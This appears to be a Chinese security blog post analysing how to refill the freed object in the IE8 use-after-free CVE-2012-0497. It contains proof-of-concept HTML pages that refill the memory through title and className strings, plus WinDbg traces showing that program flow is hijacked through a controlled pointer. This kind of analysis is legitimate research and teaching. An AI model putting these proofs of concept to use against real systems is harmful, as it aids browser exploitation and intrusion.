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  • 用ClassName占位和title占位的分析

    这里以CVE-2012-0497为例,poc如下:

    <!doctype html>
    <html>
    <head>
         <script>
         function helloWorld() {
              var e0 = null;
              var e1 = null;
              var e2 = null;
    
              try {
                   e0 = document.getElementById("a");
                   e1 = document.getElementById("b");
                   e2 = document.createElement("q");
                   e1.applyElement(e2);
                   e1.appendChild(document.createElement('button'));
                   e1.applyElement(e0);
                   e2.outerText = "";
                   e2.appendChild(document.createElement('body'));
              } catch(e) { }
              CollectGarbage();
              var eip = window;
              var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
              eip.location = unescape("AA" + data);
         }
    
         </script>
    </head>
    <body onload="eval(helloWorld())">
         <form id="a">
         </form>
         <dfn id="b">
         </dfn>
    </body>
    </html>

     以上代码在ie8+win7 32 位下测试,漏洞具体细节不多说,分析后得到的UAF对象大小为0x58,下面是占位的代码:

    用title来占位:

    <!doctype html>
    <html>
    <head>
    <script>
    var arr_div = new Array();
    var junk=unescape("%u4141%u4141");
    while (junk.length < (0x100- 6)/2)
    {
    junk+=junk;
    }
    function helloWorld() {
    var e0 = null;
    var e1 = null;
    var e2 = null;
    
    try {
    e0 = document.getElementById("a");
    e1 = document.getElementById("b");
    e2 = document.createElement("q");
    e1.applyElement(e2);
    e1.appendChild(document.createElement('button'));
    e1.applyElement(e0);
    e2.outerText = "";
    e2.appendChild(document.createElement('body'));
    } catch(e) { }
    CollectGarbage();
    for(var i = 0; i<0x50; i++)
    {
    arr_div[i]= document.createElement("div");
    arr_div[i].title= junk.substring(0,(0x58-6)/2);
    }
    }
    
    </script>
    </head>
    <body onload="eval(helloWorld())">
    <form id="a">
    </form>
    <dfn id="b">
    </dfn>
    </body>
    </html>

    这样占位后的内存如下:

    (cdc.eb8): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=002d7978 ecx=00000052 edx=00000000 esi=00000000 edi=002dbac8
    eip=6ac6e1e0 esp=0208cfb4 ebp=0208d00c iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    mshtml!CMarkup::OnLoadStatusDone+0x4e5:
    6ac6e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????
    0:005> !heap -p -a edi
        address 002dbac8 found in
        _HEAP @ 250000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            002dbac0 000c 0000  [00]   002dbac8    00054 - (busy)
    
     
    0:005> dd edi-10
    002dbab8  00000000 00000000 75ad7fe1 8c000000
    002dbac8  41414141 41414141 41414141 41414141
    002dbad8  41414141 41414141 41414141 41414141
    002dbae8  41414141 41414141 41414141 41414141
    002dbaf8  41414141 41414141 41414141 41414141
    002dbb08  41414141 41414141 41414141 41414141
    002dbb18  00004141 00000000 75ad7fdd 88000000
    002dbb28  73843fb4 00000000 73868f88 00000000

    同样用className来占位的话:

    <!doctype html>
    <html>
    <head>
         <script>
         var arr_button = new Array();
        var junk=unescape("%u4141%u4141");
        while (junk.length < (0x100- 6)/2)
        {
         junk+=junk;
        }
         function helloWorld() {
              var e=document.createElement('div');
              var e0 = null;
              var e1 = null;
              var e2 = null;
    for(i =0; i < 20; i++)
    {
                    document.createElement('button');
    }
              try {
                   e0 = document.getElementById("a");
                   e1 = document.getElementById("b");
                   e2 = document.createElement("q");
                   e1.applyElement(e2);
                   e1.appendChild(document.createElement('button'));
                   e1.applyElement(e0);
                   e2.outerText = "";
                   e2.appendChild(document.createElement('body'));
              } catch(e) { }
              CollectGarbage();
              for(var i = 0; i<0x50; i++)
              {
                   arr_button[i]= document.createElement("button");
                   arr_button[i].className= junk.substring(0,(0x58-6)/2);
              }
    
         }
    
         </script>
    </head>
    <body onload="eval(helloWorld())">
         <form id="a">
         </form>
         <dfn id="b">
         </dfn>
    </body>
    </html>

    占位后的内存:

    irst chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=0000ffff ebx=00491e50 ecx=00000052 edx=00000000 esi=00000000 edi=004bc3b0
    eip=01000000 esp=0254d640 ebp=0254d69c iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    01000000 ??              ???
    0:005> !heap -p -a edi
        address 004bc3b0 found in
        _HEAP @ 410000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            004bc3a8 000c 0000  [00]   004bc3b0    00058 - (free)
    
     
    0:005> dd edi
    004bc3b0  0000ffff 41414141 41414141 41414141
    004bc3c0  41414141 41414141 41414141 41414141
    004bc3d0  41414141 41414141 41414141 41414141
    004bc3e0  41414141 41414141 41414141 41414141
    004bc3f0  41414141 41414141 41414141 41414141
    004bc400  41414141 00004141 0ac4ae7f 8c000000
    004bc410  41414141 41414141 41414141 41414141
    004bc420  41414141 41414141 41414141 41414141

    感觉很神奇,为什么用className同样的方式去占位却没有成功,明显分配的字符串已经被释放掉了。

    可是我们对代码稍加修改:

    arr_div[i]= document.createElement("div");
    arr_div[i].className= junk.substring(0,(0x5C-6)/2);

    占位后的内存如下:

    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=0035c780 ecx=00000052 edx=00000000 esi=00000000 edi=0032c3b0
    eip=6959e1e0 esp=024cd70c ebp=024cd764 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    mshtml!CMarkup::OnLoadStatusDone+0x4e5:
    6959e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????
    0:005> !heap -p -a edi
        address 0032c3b0 found in
        _HEAP @ 280000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            0032c3a8 000c 0000  [00]   0032c3b0    00058 - (busy)
    
     
    0:005> dd edi
    0032c3b0  41414141 41414141 41414141 41414141
    0032c3c0  41414141 41414141 41414141 41414141
    0032c3d0  41414141 41414141 41414141 41414141
    0032c3e0  41414141 41414141 41414141 41414141
    0032c3f0  41414141 41414141 41414141 41414141
    0032c400  41414141 00004141 0c936b32 88000000
    0032c410  41414141 41414141 41414141 41414141
    0032c420  41414141 41414141 41414141 41414141

    那么前面用title占位所分配的字节(0x58-6)/2 为什么会分配的字节数是0x54呢?安照经典的理论来讲,BSTR字符串在内存中应该是如下的布局:

    --------------------------------------------------------

    00 00 00 00| 00 00 00 00 .......                 | 00 00

    --------------------------------------------------------

    长度                  0x58字节的数据                    结尾标识

    ---------------------------------------------------------

    但是看看占位的内存:

    0:005> !heap -p -a edi
        address 00123ce0 found in
        _HEAP @ 70000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            00123cd8 000c 0000  [00]   00123ce0    00058 - (busy)
    
     
    0:005> dd edi-10
    00123cd0  00610000 00000000 377139ba 88000000
    00123ce0  41414141 41414141 41414141 41414141
    00123cf0  41414141 41414141 41414141 41414141
    00123d00  41414141 41414141 41414141 41414141
    00123d10  41414141 41414141 41414141 41414141
    00123d20  41414141 41414141 41414141 41414141
    00123d30  41414141 00004141 37713986 88000000
    00123d40  41414141 41414141 41414141 41414141

    大小竟然是0x88000000,很明显这块内存并不是我们分配的BSTR字符串,这里梳理一下,在UAF占位中,由于对某块内存的误释放(这里是0x58字节大小的CButton),然后我们需要申请到这块被释放的CButton对象内存,然后就可以控制程序的流程。

    OK,以ClassName为例,看看这个过程是如何操作的:

    1.找到分配的BSTR字符串:

     通过mshtml.dll的一些函数名,可以猜测到函数CElement::SetClassHelper是负责进行这个过程的函数,

    给该函数下断来证明:

    (这里分配的大小为(0x5c-6)/2)

    Breakpoint 0 hit
    eax=024e9eec ebx=69b6ce7c ecx=024e9ee8 edx=0003d388 esi=69b6ce7c edi=006aa198
    eip=69bbdf7b esp=024e9ec8 ebp=024e9edc iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    mshtml!CElement::SetClassHelper:
    69bbdf7b 8bff            mov     edi,edi

    0:005> dd poi(eax)
    006282c4 41414141 41414141 41414141 41414141
    006282d4 41414141 41414141 41414141 41414141
    006282e4 41414141 41414141 41414141 41414141
    006282f4 41414141 41414141 41414141 41414141
    00628304 41414141 41414141 41414141 41414141
    00628314 41414141 00004141 00000000 4f78d6aa
    00628324 88000000 00628390 00000004 00000001
    00628334 00000000 00000002 00000000 00000000

    0:005> dd poi(eax)-10
    006282b4 00000000 4f78d699 8c000000 00000056
    006282c4 41414141 41414141 41414141 41414141
    006282d4 41414141 41414141 41414141 41414141
    006282e4 41414141 41414141 41414141 41414141
    006282f4 41414141 41414141 41414141 41414141
    00628304 41414141 41414141 41414141 41414141
    00628314 41414141 00004141 00000000 4f78d6aa
    00628324 88000000 00628390 00000004 00000001

    0:005> !heap -p -a poi(eax)
    address 006282c4 found in
    _HEAP @ 5d0000
    HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
    006282b8 000d 0000 [00] 006282c0 0005c - (busy)

     

    上面红色的内存即BSTR对象,0x56为数据的大小,整个BSTR占据的堆内存大小为0x5c,继续看看该函数:

    int __stdcall CElement::SetClassHelper(int a1, int *a2)
    {
      int v2; // edi@1
      int result; // eax@1
      bool v4; // cl@4
    
      v2 = *a2;
      result = CBase::AddString(a1, -2147417111, *a2, 0);
      if ( !result )
      {
        v4 = v2 && *(_WORD *)v2;
        *(_BYTE *)(a1 + 33) ^= (v4 ^ *(_BYTE *)(a1 + 33)) & 1;
      }
      *(_BYTE *)(a1 + 33) &= 0xFDu;
      return result;
    }

    继续往下跟:

    CBase::AddString》CAttrArray::Set》CAttrArray::Set》CAttrValue::InitVariant

    重点在这个函数里面,我们中断到_HeapAllocString这个函数看看其参数:

    0:005> p
    eax=00000000 ebx=006282c4 ecx=0000001f edx=024e9e38 esi=024e9e0c edi=024e9e38
    eip=69b86f15 esp=024e9df4 ebp=024e9e10 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    mshtml!CAttrValue::InitVariant+0x152:
    69b86f15 e8e3f1ffff      call    mshtml!_HeapAllocString (69b860fd)

    0:005> dd esp
    024e9df4 006282c4 00000000 024e9e94 00000000
    024e9e04 00000000 00000000 0000001f 024e9e48
    024e9e14 69b723c3 024e9e94 00000000 006282c4
    024e9e24 006aa1a4 69b6ce7c 00690ef0 00000000
    024e9e34 00000000 00000000 800103e9 00000000
    024e9e44 00000000 024e9e70 69b7230f 800103e9
    024e9e54 00000000 024e9e94 00000000 00000000
    024e9e64 00000000 006aa198 024e9ee8 024e9ea4
    0:005> dd 006282c4
    006282c4 41414141 41414141 41414141 41414141
    006282d4 41414141 41414141 41414141 41414141
    006282e4 41414141 41414141 41414141 41414141
    006282f4 41414141 41414141 41414141 41414141
    00628304 41414141 41414141 41414141 41414141
    00628314 41414141 00004141 00000000 4f78d6aa
    00628324 88000000 00628390 00000004 00000001
    00628334 00000000 00000002 00000000 00000000

    发现第一个参数恰好是我们分配的BSTR对象.

    signed int __userpurge _HeapAllocString<eax>(SIZE_T a1<ecx>, int a2<esi>, char *Src)
    {
      char *v3; // eax@1
      __int16 v4; // cx@2
      void *v5; // eax@5
      signed int result; // eax@7
      SIZE_T Size; // [sp+0h] [bp-4h]@1
    
      Size = a1;
      v3 = Src;
      do
      {
        v4 = *(_WORD *)v3;
        v3 += 2;
      }
      while ( v4 );
      if ( ULongAdd((v3 - (Src + 2)) >> 1, 1u, &Size) < 0
        || ULongLongToUInt((int)&Size, 2i64 * Size, (unsigned int *)Size) < 0 )
      {
        v5 = 0;
        *(_DWORD *)a2 = 0;
      }
      else
      {
        v5 = HeapAlloc(g_hProcessHeap, 0, Size);
        *(_DWORD *)a2 = v5;
      }
      if ( v5 )
      {
        memcpy(v5, Src, Size);
        result = 0;
      }
      else
      {
        result = -2147024882;
      }
      return result;
    }

    然后在该函数中计算BSTR对象的大小并调用HeapAlloc分配内存,然后用memcpy将BSTR对象的字符串拷贝到这片内存!

    最后这里分配的内存空间实际上为0x58大小,即BSTR字符串的大小-4,实际上相当于去掉了BSTR对象的头部(4个字节)并进行的内存的重新分配和拷贝。

    0:005> bp 69b8614e ".printf "Allocated Buffer Address =0x%0x \n ",eax;gc"

    以上断点打印出HeapAlloc后的内存并对比最终被重用的内存:

    0:005> g
    Allocated Buffer Address =0x67c3b0
    Allocated Buffer Address =0x67c410 
     Allocated Buffer Address =0x67c470 
     Allocated Buffer Address =0x6cd2a8 
     Allocated Buffer Address =0x6cd308 
     Allocated Buffer Address =0x6cd368 
     Allocated Buffer Address =0x6cd3c8 
     Allocated Buffer Address =0x6cd428 
     Allocated Buffer Address =0x6cd488 
     Allocated Buffer Address =0x6cd4e8 
     Allocated Buffer Address =0x6cd548 
     Allocated Buffer Address =0x6cd5a8 
     Allocated Buffer Address =0x6cd608 
     Allocated Buffer Address =0x6cd668 
     Allocated Buffer Address =0x6cd6c8 
     Allocated Buffer Address =0x6cd728 
     Allocated Buffer Address =0x6cd788 
     Allocated Buffer Address =0x6cd7e8 
     Allocated Buffer Address =0x6cd848 
     Allocated Buffer Address =0x6cd8a8 
     Allocated Buffer Address =0x6cd908 
     Allocated Buffer Address =0x6cd968 
     Allocated Buffer Address =0x6cd9c8 
     Allocated Buffer Address =0x6cda28 
     Allocated Buffer Address =0x6cda88 
     Allocated Buffer Address =0x6cdae8 
     Allocated Buffer Address =0x6cdb48 
     Allocated Buffer Address =0x6cdba8 
     Allocated Buffer Address =0x6cdc08 
     Allocated Buffer Address =0x6cdc68 
     Allocated Buffer Address =0x6cdcc8 
     Allocated Buffer Address =0x6cdd28 
     Allocated Buffer Address =0x6cdd88 
     Allocated Buffer Address =0x6cdde8 
     Allocated Buffer Address =0x6cde48 
     Allocated Buffer Address =0x6cdea8 
     Allocated Buffer Address =0x6cdf08 
     Allocated Buffer Address =0x6cdf68 
     Allocated Buffer Address =0x6cdfc8 
     Allocated Buffer Address =0x6ce028 
     Allocated Buffer Address =0x6ce088 
     Allocated Buffer Address =0x6ce0e8 
     Allocated Buffer Address =0x6ce148 
     Allocated Buffer Address =0x6ce1a8 
     Allocated Buffer Address =0x6ce208 
     Allocated Buffer Address =0x32c5868 
     Allocated Buffer Address =0x32c58c8 
     Allocated Buffer Address =0x32c5928 
     Allocated Buffer Address =0x32c5988 
     Allocated Buffer Address =0x32c59e8 
     Allocated Buffer Address =0x32c5a48 
     Allocated Buffer Address =0x32c5aa8 
     Allocated Buffer Address =0x32c5b08 
     Allocated Buffer Address =0x32c5b68 
     Allocated Buffer Address =0x32c5bc8 
     Allocated Buffer Address =0x32c5c28 
     Allocated Buffer Address =0x32c5c88 
     Allocated Buffer Address =0x32c5ce8 
     Allocated Buffer Address =0x32c5d48 
     Allocated Buffer Address =0x32c5da8 
     Allocated Buffer Address =0x32c5e08 
     Allocated Buffer Address =0x32c5e68 
     Allocated Buffer Address =0x32c5ec8 
     Allocated Buffer Address =0x32c5f28 
     Allocated Buffer Address =0x32c5f88 
     Allocated Buffer Address =0x32c5fe8 
     Allocated Buffer Address =0x32c6048 
     Allocated Buffer Address =0x32c60a8 
     Allocated Buffer Address =0x32c6108 
     Allocated Buffer Address =0x32c6168 
     Allocated Buffer Address =0x32c61c8 
     Allocated Buffer Address =0x32c6228 
     Allocated Buffer Address =0x32c6288 
     Allocated Buffer Address =0x32c62e8 
     Allocated Buffer Address =0x32c6348 
     Allocated Buffer Address =0x32c63a8 
     Allocated Buffer Address =0x32c6408 
     Allocated Buffer Address =0x32c6468 
     Allocated Buffer Address =0x32c64c8 
     Allocated Buffer Address =0x32c6528 
     (d6c.d50): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=41414141 ebx=006a5918 ecx=00000052 edx=00000000 esi=00000000 edi=0067c3b0
    eip=69b5e1e0 esp=024ed3cc ebp=024ed424 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
    mshtml!CMarkup::OnLoadStatusDone+0x4e5:
    69b5e1e0 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:4141421d=????????

    可以看出0x67c3b0即我们第一次分配的内存,已经被成功的占位了!

    另外还需要说明前面在调用title的时候用(0x58-6)/2也可以成功的占位,不过这次占位确实分配的内存是0x54而不是0x58,不过由于这块内存小于0x58而且最靠近0x58,因此根据堆分配策略也会将

    释放的CButton内存分配给title。

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  • 原文地址:https://www.cnblogs.com/Lamboy/p/3866940.html
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